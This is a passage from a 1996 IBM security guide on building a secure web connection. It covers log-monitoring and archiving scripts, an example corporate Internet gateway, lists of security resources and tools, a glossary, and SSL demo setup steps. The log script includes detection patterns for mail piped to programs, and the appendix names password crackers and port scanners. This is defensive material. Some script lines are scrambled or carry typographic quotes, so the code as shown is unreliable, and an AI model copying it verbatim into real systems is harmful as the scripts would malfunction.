$7,$8,$9,$4,$13,$11,$14,$15,$24,$21);
hot=1; next}
# mail to pipes
/sendmail\[[0-9]*\]:/&&/\=\|/ {print $0;hot=1;next}
/sendmail\[[0-9]*\]:/&&/\=\<\|/ {print $0;hot=1;next}
# Audit startup
/AUDIT: *Date/ {printf(″%s %2s %s %s AUDIT: started\n″ ,
$1,$2,$3,$4);hot=1;next}
Figure 73 (Part 2 of 4). Sample Log Analysis Script
130
Safe Surfing: How to Build a Secure WWW Connection
#
#
#
/
SNG tagged messages:
the following ones are handled explicitly all others are printed
by the default print statement at the end.
ICA1036i\:/ { rem=substr($10,3);
rejects[rem]++;
p=substr($12,3);
if (p==″udp″ ) { udp[rem]++; hot=2 };
if (p==″tcp″ ) { tcp[rem]++; hot=3 };
if (p==″icmp″) { icmp[rem]++; hot=4 };
if (p==″igmp″) { igmp[rem]++; hot=5 };
next }
# syslog repetition messages.
# display only if hot.
/last message repeated/ {if (hot == 1) {print $0}
if (hot > 1) { rejects[rem]+=$8;
if (hot==2) {udp[rem]+=$8 }
else { if (hot==3) {tcp[rem]+=$8}
else { if (hot==4) {icmp[rem]+=$8;}
else { if (hot==5) {igmp[rem]+=$8; }
}
}
}
}
next}
# The following items are ignored
# They are considered too normal....
# Ignore normal daemon messages
/sendmail\[[0-9]*\]:/
{hot=0;next}
/gated\[[0-9]*\]:/
{hot=0;next}
/named\[[0-9]*\]:/
{hot=0;next}
/named-xfer\[[0-9]*\]:/
{hot=0;next}
/sockd\[[0-9]*\]:/
{hot=0;next}
/telnetd\[[0-9]*\]: /
{hot=0;next}
/ptelnetd\[[0-9]*\]: /
{hot=0;next}
/rshd\[[0-9]*\]: /
{hot=0;next}
/rlogind\[[0-9]*\]: /
{hot=0;next}
/ftpd\[[0-9]*\]:/
{hot=0;next}
/ftp\[[0-9]*\]:/
{hot=0;next}
/lpp\[[0-9]*\]:/
{hot=0;next}
# ignore only successful fingers
/fingerd\[[0-9]*\]: connect/
{hot=0;next}
# syslog restarts are no issue
/syslogd: restart/
{hot=0;next}
# Cron jobs are normal, other cron stuff is handled above
/CRON_|AT_/
{hot=0;next}
# refused socks connections (socks has hot alerts)
/sockd\[[0-9]*\]: refused/
{hot=0;next}
# SNG stuff that is ignored:
# we are not interested in the filter rules....
/ICA1037i/
{hot=0;next}
Figure 73 (Part 3 of 4). Sample Log Analysis Script
Chapter 10. Auditing, Logging and Alarms
131
# Print anything else, it might be useful.
{ print $0 ; hot=1 }
END
{ if (rem != ″″) {
for (h in rejects) if (rejects[h]>=threshold) x=1;
if (x==1) {
print(″\nSource
rejects
tcp
udp icmp igmp\n″ ) ;
for (h in rejects) {
printf(″%-15s %6s %6s %6s %6s %6s\n″ ,
h,rejects[h],tcp[h],udp[h],icmp[h],igmp[h]);
}
}
}
}
′ $i > $i.audit
if [[ -s $i.audit ]] ; then
echo ″\n\nInteresting events on $m″ >> $HotStuff
cat $i.audit >> $HotStuff
lm=″$lm $m″
fi
done
if [[ -s $HotStuff ]] ; then
mail -s ″Interesting Events:$lm″ $admin < $HotStuff
else
echo nothing | mail -s ″No Interesting Events″ $admin
fi
rm -fr $TMPDIR
Figure 73 (Part 4 of 4). Sample Log Analysis Script
10.1.6 Dealing With the Web Server Logs
The IBM Internet Connection Secure Servers create new logs automatically
every day so there is no need to restart the server to generate manageable logs.
You still might want to copy the logs to an archive directory or combine the logs
of several days for easier access through a Web statistics tool. A simple script
such as the one in Figure 74 on page 133 could be used every night from cron.
In addition to generating monthly log files, it will mail the log files to an
automatic maintenance ID that will archive the logs. We use E-mail to transport
the log files to a remote system because the Web server does not support
remote logging while syslog does.
132
Safe Surfing: How to Build a Secure WWW Connection
#!/usr/bin/ksh
# weblog - archive web logs
# run it from cron
# 2 0 * * * /usr/local/etc/weblog
#
# afx 8/95
PATH=/usr/bin:/usr/sbin
umask 027
# this is the automatic receiver id
[email protected]
WebCfg=/etc/httpd.conf
WebArchive=/var/webarchive
Log=$WebArchive/log
# find the log file names from the httpd config file
# this is case sensitive :-(
WebAccess=$(awk ′ / ^[ \t]*AccessLog/ {print $2}′ $WebCfg)
WebError=$(awk ′ / ^[ \t]*ErrorLog/ {print $2}′ $WebCfg)
# real log file names
AccessName=$(basename $WebAccess)
ErrorName=$(basename $WebError)
# Find out the file
set -A months ″ Dec″
typeset -i d=$(date
typeset -i m=$(date
name for yesterdays logfile
″Jan″ ″Feb″ ″Mar″ ″Apr″ ″May″ ″Jun″ ″Jul″ ″Aug″ ″Sep″ ″Oct″ ″Nov″ ″Dec″
+′%d′ )
+′%m′ )
if (( d == 1 ))
then
let m=″ m-1″
(( m == 0 )) && let m=12
case $m in
″ 1 ″ | ″ 3 ″ | ″ 5 ″ | ″ 7 ″ | ″ 8 ″ | ″ 1 0 ″ | ″ 1 2 ″ ) let d=31
;;
2 ) let d=28
typeset -i y=$(date +′%Y′ )
if (( (y / 4)*4 == $y )) then
let d=29
fi
;;
* ) let d=30
;;
esac
else
let d=″ d-1″
fi
Figure 74 (Part 1 of 2). Sample Archive Script for Web Server Logs
Chapter 10. Auditing, Logging and Alarms
133
month=${months[$m]}
day=$d
(( d < 10 )) && day=″0$d″
year=$(date +′%y′ )
yesterday=$month$day$year
mail -s ″ webserver HTTPD LOG″ $maint < $WebAccess.$yesterday
mail -s ″ webserver HTTPD ERROR LOG″ $maint < $WebError.$yesterday
# Create an up to date access log file for this month
# Useful for web statistics programs....
cat $WebAccess.$month[0-3][0-9][0-9][0-9] > $WebAccess-$month
# special monthly actions
if (( $(date +′%d′) == 1 ))
then
# Archive off the old stuff and remove the old stuff
cat $WebAccess.$month[0-3][0-9][0-9][0-9] > $Log/$AccessName-$month &&
rm $WebAccess.$month[0-3][0-9][0-9][0-9] &&
compress $Log/$AccessName-$month
# Archive old error logs
cat $WebError.$month[0-3][0-9][0-9][0-9] > $Log/$ErrorName-$month &&
rm $WebError.$month[0-3][0-9][0-9][0-9] &&
compress $Log/$ErrorName-$month
# create new log archive directory each month
log=$Log
new=$Log.$(/usr/bin/date +′%m.%y′ )
/usr/bin/mkdir -m 750 $new
/usr/bin/rm $log
/usr/bin/ln -s $new $log
fi
Figure 74 (Part 2 of 2). Sample Archive Script for Web Server Logs
This is not necessarily a complete solution, but it shows you how to obtain
yesterday′s date when managing log files.
The log host on which the files are received needs to be prepared to accept and
archive the logs. We assume the previously mentioned /archive directory tree
already exists. Create a new user ID called maint to be the receiver of the log
files. You could use SMIT or the following mkuser command:
mkuser home=/archive gecos=′ Auto Maintainer′ login=false rlogin=false maint
echo maint >> /etc/ftpusers
The files will be received via the slocal program that comes with the mh mail
handler. If you do not have mh installed, you need to install it now. It is part of
the standard AIX shipment (fileset bos.mh). All mail that maint receives is
automatically processed. Therefore, you have to set up a forward file in
/archive. This file consists of a single line, as follows:
| /usr/lib/mh/slocal
The slocal program uses /archive/.maildelivery to find out how to handle mail.
Figure 75 lists a suitable .maildelivery file
Subject ″webserver HTTPD LOG″
| ? ″ / archive/bin/logarchive webserver httpd-log″
Subject ″webserver HTTPD ERROR LOG″ | ? ″/archive/bin/logarchive webserver error-log″
default | ? ″ / usr/lib/mh/rcvdist root″
Figure 75. Sample .forward File for Automatic Mail Handling
If the mail has the right subject line, then it is processed by the logarchive script
listed in Figure 76 on page 135. Otherwise it is forwarded to root.
134
Safe Surfing: How to Build a Secure WWW Connection
#!/usr/bin/ksh
# script to store mailed logs received from stdin
# afx 9/95
#
umask 057
PATH=/usr/bin:/usr/sbin
from=$1
what=$2
D=$(/usr/bin/date +″%y%m%d.%H%M″ )
LogFile=″ / archive/log/$what.$from.$D″
# strip the header and save the file
/usr/bin/awk ′
BEGIN {headerdone=0}
{if (headerdone==1) {
print $0
next;
}
}
/^Received:/
{next}
/^Date:/
{next}
/^From:/
{next}
/^Message-Id:/ {next}
/^To:/
{next}
/^Subject:/
{next}
/^[ \t]+id A/ {next}
/^$/
{headerdone=1;next}
{ print $0 }
′ > $LogFile
# use
# | /usr/bin/compress > $LogFile.Z
# if you do not archive to a compressed AIX 4 file system
Figure 76. Sample /archive/bin/logarchive Script
The script strips the headers of the received mail and writes the remaining data
to the archive.
The rcvdist command will store a copy of each mail item it sends in
/archive/Mail/outbox. This will fill up the file system after a while if it goes
unnoticed. To avoid this you can copy the /etc/mh/rcvdistcomps file to
/archive/Mail/rcvdistcomps and remove the Fcc line so that the file is as follows:
%(lit)%(formataddr{addresses})\
%<(nonnull)%(void(width))%(putaddr Resent-To: )\n%>\
Chapter 10. Auditing, Logging and Alarms
135
136
Safe Surfing: How to Build a Secure WWW Connection
Chapter 11. In Practice: The IBM RTP Internet Gateway
If you have read this far you will realize that there are a lot of things to think
about when setting up a secure Internet connection. In this section we will try to
put together the pieces by looking at an example from the real world. Figure 77
on page 138 shows the configuration of our example, the Internet gateway for
IBM′s Research Triangle Park NC operation.
11.1 Document Your Policy
The most important feature of the RTP Internet connection is not in the diagram
at all. It is the policy document that lays down the security characteristics that
the administrator must implement. IBM imposes a standard policy world wide
dealing with such things as which services can to be permitted, what auditing
and logging is required and who to contact in the event of a suspected attack.
Of course, IBM is a large organization, so it makes sense that they should try to
set standards. In fact, any organization with more than one Internet access point
should try to coordinate access policies. It would be frustrating for an
administrator to put a lot of effort into securing his own local gateway only to
discover that another administrator was letting hackers in through the back door.
If you are building just a single gateway for your organization it is less critical to
document the policy in advance, but we still recommend that you go through the
exercise of creating and maintaining complete documentation for several
reasons, including the following:
•
Unless you have a remarkable memory you will forget the subtlties of why
you decided to adopt a particular configuration. If you have everything
written down you can retrace your steps.
•
The secret of a good security design is to put yourself in the place of an
attacker. Writing down what you have done will allow you to re-examine
your assumptions from the attacker′s view.
In fact, setting up an Internet connection is very like any other software
development project. Arguably you should not only document it carefully but
also run the equivalent of a code inspection, asking people who are uninvolved
with the project to formally check it.
11.2 Details of the RTP Internet Connection
Figure 77 on page 138 shows the components of the RTP Internet gateway.
 Copyright IBM Corp. 1996
137
Figure 77. The RTP Internet Gateway
The diagram shows a conventional DMZ configuration, with a number of servers
within the DMZ protected on the outside by a packet filtering router. The filters
are set up to prevent spoofing of internal addresses from outside and to only
allow the specific protocols permitted to pass. The services for sessions from
clients in the secure network include Telnet, FTP, HTTP, SSL, Gopher and NNTP.
The services provided by the machines in the DMZ are mostly FTP servers used
for joint ventures with other enterprises, plus two Web servers.
The internal firewalls are all IBM Internet Connection Secured Network
Gateways. There are currently two ways that Web browsers in the secure
network can get out to the Internet, by using the proxy server or by using the two
SOCKS gateways. The policy is to phase out the proxy server.
The administrators get access to maintain the servers in the DMZ by using proxy
FTP and Telnet servers on one of the internal firewalls. The policy document
mandates strict password controls and thorough logging. The FTP daemon is
138
Safe Surfing: How to Build a Secure WWW Connection
WU-FTPD from wuarchive.wustl.edu. This provides superior logging to standard
FTP servers.
There is a DNS relay on the internal firewalls which prevents internal names and
addresses being visible from the outside (this is a standard SNG function).
There is also a mail gateway that rejects all mail that is not addressed to a
previously registered user ID at raleigh.ibm.com. The two SOCKS servers
double as mail relays, passing the mail to internal machines that actually
redistribute it. One problem with mail and DNS services is that IBM uses the
same root for its IP names (ibm.com) both inside and outside the firewall. This
happened for historical reasons, you should avoid this if possible, because it
makes it more difficult to create mail routing rules and DNS configurations.
The servers in the DMX have all unnecessary services disabled (another
requirement of the policy document). There is a DB/2 CGI connection and Lotus
Notes database replication between them and machines in the internal network.
Logging is performed on the machines themselves (not passed through the
firewall by syslog), but there are monitors that watch for login failures and other
suspicious events. The monitors send mail messages if they detect anything.
The configuration shown here is a good compromise between allowing good
Internet access to IBM employees, offering attractive services to IBM customers
and business partners and at the same time protecting the private IBM network.
It is based on long experience of administering such interfaces. Indeed, if there
is one lesson to be drawn from any installation, it is that there is no substitute
for experience when creating and implementing the security policy.
Chapter 11. In Practice: The IBM RTP Internet Gateway
139
140
Safe Surfing: How to Build a Secure WWW Connection
Appendix A. Code and Other Resources on the Internet
The following resources are just some key pointers to places on the Internet that
we found helpful during the development of this publication.
A.1 The World Wide Web Consortium
http://www.w3.org/
The World Wide Web Consortium has lots of links to other places that are useful
as well as all the reference information about the Web. Here you will also find
source code for Web servers and the reference libraries.
A.2 Mailing Lists
To join a mailing list, one usually sends a message to one of the request
addresses below.
Firewalls
The firewalls mailing list discusses all kinds of firewall issues.
Subscribe with the following:
echo ″subscribe firewalls″ | mail [email protected]
bugtraq
Discussion of security-related bugs. This is a full disclosure list or in
other words, exploit scripts to check for holes will also be posted.
Subscribe with the following:
echo ″add [email protected]″ | [email protected]
CERT
The Computer Emergency Response Team will send out security
alerts to registered parties. Send mail to [email protected] to subscribe.
Other countries might have their own CERT groups. Ask CERT in the
US about other local groups that they know about when subscribing
here.
WWW-Security A discussion of WWW-related security topics. Subscribe with the
following:
echo ″subscribe www-security″ | [email protected]
A.3 FAQs
FAQs are files that answer frequently asked questions. They are typically very
helpful summaries on standard questions. The biggest archive for FAQs on the
Internet is rtfm.mit.edu which allows to access to them. You might want to check
out http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html, which is
the FAQ on Web security. Even more specific to CGI script security is
http://www.primus.com/staff/paulp/cgi-security/.
 Copyright IBM Corp. 1996
141
A.4 Newsgroups
There are various USENET news groups that discuss security and WWW-related
topics.
comp.security.firewalls
This newsgroup discusses firewalls.
comp.security.unix
UNIX-specific security issues.
comp.security.announce
CERT announcements.
comp.security.misc
Various other computer security-related discussions.
comp.infosystems.www.browsers.x
Web browsers for the X window system.
comp.infosystems.www.servers.unix
UNIX-based Web servers.
comp.infosystems.www.announce
WWW-related announcements.
comp.infosystems.www.misc
Miscellaneous WWW items.
comp.infosystems.www.providers
Web space providers.
comp.infosystems.www.users
Web user discussions.
comp.answers
A Newsgroup that has only FAQ files.
A.5 Useful Free Code on the Internet
There are vast archives out on the Internet that contain extremely useful code.
Most of the code is copyright protected but can be used freely. When using such
code, please be sure to read and understand the licensing terms that come with
the code. You also need to be aware that it comes with no warranty and that
you are completely on your own when you use it. IBM cannot support any of this
code. You should be also aware that when you import such code it might have
hidden security problems or bugs that can compromise your system. You should
only import source code that you can read and inspect yourself. Nevertheless,
most of the Internet and most UNIX systems nowadays would not work without
code that originally came this way. As long as one is aware of the limitations
and inherent problems, the utilities listed here can be extremely helpful.
142
Safe Surfing: How to Build a Secure WWW Connection
A.5.1 CERN httpd
http://www.w3.org/hypertext/WWW/Daemon/
The orginal CERN WWW daemon can be found on the World Wide Web
Consortium server.
A.5.2 COPS
ftp://ftp.cert.org/pub/tools/cops
Computer Password and Oracle System. This is very old but is still usable. It
needs some adaptation to be fully usable, but provides interesting reports on
any UNIX system. Check out both the shell/C version and the PERL one with the
recursive checks.
A.5.3 Tripwire
ftp://ftp.cs.purdue.edu/pub/spaf/COAST/tripwire
A system integrity database and checking methods. It is a mix between COPS
and the TCB that comes with AIX.
A.5.4 Crack
ftp://ftp.cert.org/pub/tools/crack
A password verifier that tests to see if the password is easily guessed. Use it
regularly to see if you have trivial passwords on the system. Use the mrgpwd
command from NIS to get the AIX passwords into a format that Crack can utilize.
A.5.5 Cracklib
ftp://ftp.cert.org/pub/tools/cracklib
Crack as a library routine to augment passwd programs. Theoretically, one
should be able to link this into the AIX 4 password mechanism. Sorry, there is
no sample yet.
A.5.6 MD5
ftp://ftp.cert.org/pub/tools/
A secure checksum method. The standard UNIX/AIX sum program can be
tricked. The md5 algorithm is much more reliable.
A.5.7 ISS
ftp://ftp.gatech.edu/pub/security/iss
To scan network ports and to see on what ports systems listen. It is quite
informative.
Appendix A. Code and Other Resources on the Internet
143
A.5.8 Log_TCP (wrapper)
ftp://ftp.win.tue.nl/pub/security
Access control for network daemons. This is a very useful tool that sits between
a daemon and the Internet. It allows access only to configured systems and can
be used with the retaliation option. It is very useful for protecting systems but
works only for TCP-based daemons that are started by inetd.
A.5.9 TIS toolkit
ftp://ftp.tis.com/pub/firewalls/toolkit
A firewall toolkit from Trusted Information Systems. It has access control lists
for inetd controlled services like the wrapper plus proxy daemons and a
sendmail replacement.
A.5.10 Tiger/TAMU
ftp://ftp.tamu.edu/
A very useful system-security checker from Texas A&M University. It is so small
that it can be run from a read-only floppy on AIX, but it provides a lot of useful
output.
A.5.11 SATAN
ftp://ftp.win.tue.nl/pub/security
Currently the hottest network scanner, according to the press. Although not
much more intelligent than the rest, its easy user interface (via WWW) and open
architecture make it the number one network scanner. It is written by the
makers of COPS and Log_TCP and requires PERL.
A.5.12 SOCKS
http://www.socks.nec.com/
The SOCKS server and library source code as well as information about the
SOCKS protocol. You might need it to create your own socksifed clients.
A.5.13 Mosaic
ftp://ftp.ncsa.uiuc.edu/Mosaic
The classic graphical Web browser.
A.5.14 Strobe
ftp://suburbia.apana.org.au:/pub/users/proff/original/
Currently the fastest TCP host scanner.
144
Safe Surfing: How to Build a Secure WWW Connection
A.5.15 GhostScript
http://www.cs.wisc.edu/∼ ghost/
GhostScript is a freely available PostScript interpreter.
A.5.16 PERL
ftp://ftp.netlabs.com/pub/outgoing/perl5.0/
A very useful language in which to write CGI scripts.
A.5.17 lsof
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof
Lsof is a utility that lists open files. It is very useful to find out which daemon
has what files open.
Appendix A. Code and Other Resources on the Internet
145
146
Safe Surfing: How to Build a Secure WWW Connection
Appendix B. Alphabet Soup: Some Security Standards and Protocols
This table presents some of the terms and abbreviations that you may come
across in discussions of World Wide Web security. Where possible we include
URL references to indicate sources of further information.
Term
Description and References
Capstone
The US government project to develop a set of standards for publicly
available cryptography. It contains a bulk encryption standard
(Skipjack), a signature algorithm (DSS) and a secure hash algorithm
(SHS). One of the objectives of the project is to make these functions
available in a tamper-proof form, embedded in one or more computer
chips. This means that the actual algorithms need not be revealed,
which improves their security but also leads to suspicions that the
government may have the means to break them.
CERT
The Computer Emergency Response Team is located at Carnegie Mellon
University. It was created in 1988 following the infamous ″Internet
Worm″ incident, that brought many machines on the then-emerging
Internet to their knees. CERT acts as a focal point for the Internet
community for reporting security loopholes and fixes. The reports are
known as advisories. It maintains a mailing list and an FTP server for
general access to the advisories.
ftp://cert.org/pub
Clipper
The computer chip that will implement the Skipjack encryption protocol.
Clipper has sparked some controversy, because it includes a facility to
allow a law enforcement agency to obtain the session key, and hence
decrypt the messages. The key itself is encrypted using a pair of keys
which are held by so-called escrow agencies . Escrow agencies will not
be part of the law enforcement community and any law enforcement
agency that wants to snoop on a Clipper-encrypted session will have to
present a warrant to get access.
http://csrc.ncsl.nist.gov/nistgen/clip.txt
 Copyright IBM Corp. 1996
DES
The Data Encryption Standard. A symmetric key (bulk) encryption
algorithm which is the current US Government Standard. DES is
described more fully in 4.1, “Cryptographic Techniques” on page 38.
Diffie
Hellman
Whitfield Diffie and Martin Hellman were the first researchers to
describe a kind of public-key cryptography. Their algorithm is useful
specifically for key exchanges. In it, the two parties agree on a pair of
large numbers, which they openly communicate to each other. They
then perform a mathematical function on the numbers, each using their
own, secret, random number. They exchange the results of these
calculations, and then perform a final calculation, again using their own
random number. The result that each obtains is identical and it is this
that is used as an encryption key.
DMZ
De-Militarized Zone. In firewall terms, this is a buffer zone between the
secure inside network and the non-secure outside network. This is the
best place to put servers that will be accessed from the outside network.
DSS
The Digital Signature Standard is the component of the US Government
Capstone proposal that handles user authentication. It is based on a
different mathematical principle to the RSA algorithm and it is solely for
authentication, not general encryption.
147
Term
Description and References
HTML
Hypertext Markup Language is the language used to tell Web browsers
how to format web pages. It is in fact an application of the Standardized
Generalized Markup Language (SGML). There is a common
misconception that this means that HTML is a subset of SGML, but that
is not so. SGML does not define tags directly, but defines a methodology
for creating structured documents. The tags themselves are defined in
an SGML Document Type Definition.
HTML itself is currently at Version 3, but the real support provided by
different browsers is much more complex. First, many browsers that
support HTML3 do not support all the tags. Secondly, there are several
extensions to HTML, such as support for Netscape frames and Java
which are additional to the main specification.
http://www.w3.org/pub/WWW/MarkUp
HTTP
The Hypertext Transfer Protocol is a light weight application-level
protocol designed for distributed hypermedia information systems. It is a
stateless protocol which can be used for many tasks through extension
of its request methods (commands). A feature of HTTP is the way it
handles multiple data types allowing systems to be built independently
of the data being transferred. HTTP uses many of the constructs from
the MIME specification to implement this support.
http://www.w3.org/pub/WWW/Protocols/
IDEA
The International Data Encryption Algorithm was created in Switzerland
by Xuejia Lai and James Massey. You will find more information in 4.1,
“Cryptographic Techniques” on page 38.
http://www.ascom.ch/Web/systec/security/idea.htm
MD#
The Message Digest series of algorithms from RSA are one-way hash
functions. MD5 is the most commonly used version. It generates a
128-bit digest from any length of input message. MD5 is described in
RFC1321.
http://www.rsa.com/rsalabs/faq
MIME
Multipurpose Internet Mail Extensions describe a set of encoding
techniques for transporting different binary data types within an ASCII
data stream. MIME was originally conceived as a way to safely send
enriched e-mail through different types of mail gateway. However its
impact as a standard has been much larger than that, because of its use
in other protocols, including the HTTP protocol of thw World Wide Web.
http://ds.internic.net/rfc/rfc1521.txt
NIST
The National Institute of Standards and Technology is the US
Government organization that develops and defines standards for
emerging technology. In the field of Internet security they combine
forces with the National Security Agency to develop US government
policy.
http://www.nist.gov/
148
Safe Surfing: How to Build a Secure WWW Connection
Term
Description and References
NSA
The National Security Agency, while not a military organization, is
administered by the US Department of Defense. The NSA is responsible
for many highly specialized technical functions in support of U.S.
Government activities to protect U.S. information systems and gather
intelligence information. It is a cryptologic organization employing the
country′s premier code makers and code breakers.
Clearly the NSA belongs in a world of spies and spooks, so what is it
doing hanging around a fun place like the World Wide Web? In fact, the
NSA has always had a big impact on Internet security, stemming from
the days when the Internet was more tightly linked with the DoD′ s
Arpanet. Nowadays it is mostly the NSA restrictions on export of
cryptographic technology (see 4.1.1, “Symmetric-Key Encryption” on
page 38) that affect the operation of the network, not just in the US but
all around the world.
http://www.nsa.gov:8080/about/
PEM
Privacy Enhanced Mail is a standard for adding security features to mail
messages. PEM modes of operation include authenticated messages,
where a signing block is appended to the cleartext message, and
encrypted messages. PEM encryption uses a symmetric key encryption
mechanism, such as DES for bulk encryption. It sends the bulk
encryption key using RSA public-key encryption, within the same mail
message.
PEM is not widely used. One reason may be that it specifies a complex
structure of certifying authorities which has never been really
constructed. It is possible to use self-signed certificates, but it is not a
very satisfactory solution.
PGP
Pretty Good Privacy is program that provides similar capabilities to PEM
for protecting E-mail messages. PGP does offer some useful additions,
such as automatic compression prior to encryption, and the ability to
chop large files into pieces small enough to be handled by most mail
systems.
However, the main difference between PGP and PEM is their approach to
certifying authorities. Where PEM envisions a rigid, official hierachy of
CAs, with an Internet-wide authority at the top, PGP assumes that each
user can make their own decisions about who to trust to sign
certificates. This has a double advantage: it makes it much easier to get
started with PGP, and it appeals to many of the people who call the
Internet their home and who have a built-in distrust of authority.
PKCS#
The Public-Key Cryptography Standards are a set of coding guidelines
designed by RSA for various security-related messages. The objective
of the standards is to promote interoperability by specifying the syntax
for messages in which things like digital signatures, encrypted messages
and key exchanges should be embedded.
ftp://ftp.rsa.com/pub/pkcs
RC#
RC2 and RC4 are symmetric key encryption algorithms created by RSA.
RC2 is a block cipher and RC4 is a stream cipher (stream ciphers
operate on a single byte at a time, block ciphers divide the data to be
encrypted into blocks and operate on the block as a whole). The feature
that distinguishes the RC# algorithms from other ciphers, such as DES
and IDEA, is that they allow variable length encryption keys, which
means they can be exported without need for special licensing.
RIPEM
The RIPEM program is the most commonly used implemention of the
PEM protocol, available for UNIX, DOS and Macintosh operating
systems.
Appendix B. Alphabet Soup: Some Security Standards and Protocols
149
Term
Description and References
RSA
RSA Data Security Inc. is the leading provider of cryptographic
techniques and code in the world. The company was founded by Ron
Rivest, Adi Shamir and Leonard Adleman, who lent their initials to form
the name. The company′s flagship product, the public-key cryptography
system, is also known as ″RSA″. RSA relies on the fact that it is very
difficult to factorize a very large integer (see 4.1.2, “Public-Key
Encryption” on page 40 for a high-level description of public-key
cryptography).
http://www.rsa.com.
SHS
Secure Hash Standard is the hashing algorithm defined in the US
Government Capstone proposal (in fact it is the only part of Capstone
with widespread acceptance). It is similar in operation to MD5, but it
produces a 160-bit digest, so it is assumed to be more secure.
http://csrc.ncsl.nist.gov/nistgen/sechash.txt
150
SHTTP
Secure Hypertext Transfer Protocol is a standard for protecting World
Wide Web sessions using combinations of public and private-key
cryptography. It is described in more detail in 4.2.2, “S-HTTP” on
page 47.
Skipjack
Skipjack is a symmetric-key encryption mechanism for public use
proposed by the US Government as part of the Capstone project.
Skipjack is intended to replace DES as the government-approved block
cipher. Skipjack uses 64-bit blocks and an 80-bit key, but little else is
known about it because it is only implemented by dedicated,
tamper-proof hardware.
SSL
The Secure Socket Layer is a mechanism for protecting IP sessions,
primarily HTTP, by enveloping them in a secure channel. It is described
in detail in Chapter 4, “A Tangled Web: SSL and S-HTTP” on page 37.
Safe Surfing: How to Build a Secure WWW Connection
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP
Demo System
Implementing the secure World Wide Web protocols involves a sequence of
steps that must be performed in the right order. Even if you have a good
understanding of what you are aiming to do in each step, you can easily make a
mistake. In this appendix we describe step-by-step the things you need to do to
create a single-machine demo system for the IBM Internet Connection Secure
Server and Secure WebExplorer products. Even if you do not plan to perform
any product demonstrations, following the instructions here is a good way to
familiarize yourself with the products.
C.1 Demo System Overview
In this example we assume that you have an OS/2 system with both IBM Internet
Connection Secure Server for OS/2 and Secure WebExplorer installed. We will
configure it to have the following functions:
•
A certifying authority (CA), so that you can sign certificates
•
A demo server, with a certificate signed by the demo CA
•
A demo client, also with a certificate signed by the demo CA
Finally, we show some sample HTML and REXX code that can be used to
demonstrate the different SSL and S-HTTP secure modes.
C.2 Step 1: Building the Certifying Authority Key Ring
In this section we will create a key ring file containing a self-signed certificate
that will later be used to sign certificates for the server and client.
1. Enter the following commands to create directories for key rings, certificate
requests and certificates:
mkdir
mkdir
mkdir
mkdir
c:\wwwdemo
c:\wwwdemo\key rings
c:\wwwdemo\certreqs
c:\wwwdemo\certs
You do not have to use these directory paths, but these are the paths that
we will refer to in the following instructions. None of the files that you create
will be large.
2. Start the server and the browser. On the browser, disable any proxy or
SOCKS servers and also disable caching. You can find these options by
selecting Configure from the menu bar.
3. Enter the following URL to access the server administration forms:
http://your_node_name/admin-bin/cfgin.
4. Scroll to the bottom of the form and select Create Keys.
5. Select a certificate type of Other and click Apply.
6. Fill in the key name cakey and the key ring file name c:\wwwdemo\key
rings\ca.kyr
 Copyright IBM Corp. 1996
151
7. Fill in a key ring password of your choice; we recommend you use the same
password for all of the key rings that you create for this demo.
8. Check the Automatic login box.
9. Fill in the details in the Distinguished Name fields. Use the server name
Demo CA. All the other fields can be whatever you like (you can see an
example of this form in Figure 42 on page 69).
10. Select Don′t mail.
11. In the Save Copy field, enter c:\wwwdemo\certreqs\ca.txt.
12. Click on Apply.
You should receive a confirmation screen that you have successfully created
your public/private key pair and certificate request. If you receive an error
message instead, check that you entered the correct information.
The next step is to receive the certificate request as a self-signed certificate and
make it into a trusted root key.
1. Return to the main configuration page; click on Configuration Page at the
bottom of the confirmation screen.
2. Select Receive Certificate from the bottom of the page.
3. Fill in the fields as follows:
•
Put c:\wwwdemo\certreqs\ca.txt as the name of the file containing the
certificate.
•
Put c:\wwwdemo\key rings\ca.kyr as the key ring file.
•
Enter the password you used to create the key ring above.
4. Click on Apply. You should receive another confirmation screen saying that
the certificate was successfully received.
5. Return to the main configuration page; click on Configuration Page.
6. Select Key Management from the bottom of the page.
7. Type in the key ring password, select Designate Trusted Root Keys and click
on Apply.
8. You should see that cakey is already selected. Click on Apply.
9. You should now receive a final confirmation screen. Select Configuration
Page to return to the main configuration page.
C.3 Step 2: Building the Server Key Ring
In this section we will create a key ring file containing a certificate signed by our
new CA, for use by the Web server.
1. In the main Configuration form, scroll to the bottom of the form and select
Create Keys.
2. Select a certificate type of Other and click Apply.
3. Fill in a key name of servkey and a key ring file name of c:\wwwdemo\key
rings\serv.kyr.
4. Fill in a key ring password of your choice.
5. Check the Automatic login box.
152
Safe Surfing: How to Build a Secure WWW Connection
6. Fill in the details in the Distinguished Name fields. Use a server name of
Demo Server. All the other fields can be whatever you like (you can see an
example of this form in Figure 42 on page 69).
7. Select Don′t mail.
8. In the Save Copy field, enter c:\wwwdemo\certreqs\serv.txt.
9. Click on Apply.
You should receive a confirmation screen that you have successfully created
your public/private key pair and certificate request. If you receive an error
message instead, check that you entered the correct information.
The next step is to receive the CA certificate into the server key ring as a
self-signed certificate and make it into a trusted root key.
1. Return to the main configuration page. Click on Configuration Page at the
bottom of the confirmation screen.
2. Select Receive Certificate from the bottom of the page.
3. Fill in the fields as follows:
•
Put c:\wwwdemo\certreqs\ca.txt as the name of the file containing the
certificate.
•
Put c:\wwwdemo\key rings\serv.kyr as the key ring file.
•
Enter the password you used to create the server key ring above.
4. Click on Apply. You should receive another confirmation screen saying that
the certificate was successfully received.
5. Return to the main configuration page. Click on Configuration Page at the
bottom of the confirmation screen.
6. Select Key Management from the bottom of the page.
7. Type in the key ring password, select Designate Trusted Root Keys and click
on Apply.
8. You should see two keys in the list. One of them is servkey, the key for
which you have just created a signed certificate. The other has a
complicated name comprised of the elements of the distinguished name of
the CA key. It does not appear as cakey because it was not created in this
key ring. Select this key and Apply.
9. You should now receive another confirmation screen. Select Configuration
Page to return to the main configuration page.
The next step is to sign the certificate request, using the CA key ring (in the real
world, you would have to send the request file to the Certifying Authority for
signing).
1. In an OS/2 window enter the following command. Enter it all on one line; we
have only split it here for printing purposes.
certutil -p 365 -k c:\wwwdemo\key rings\ca.kyr < c:\wwwdemo\certreqs\serv.txt
> c:\wwwdemo\certs\serv.crt
2. Enter the password of the CA key ring when you are prompted.
3. You should see the prompt return without any message. If there is an error
message, check that you typed the command correctly.
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo System
153
At this point you may be interested in looking at the content of the certificate
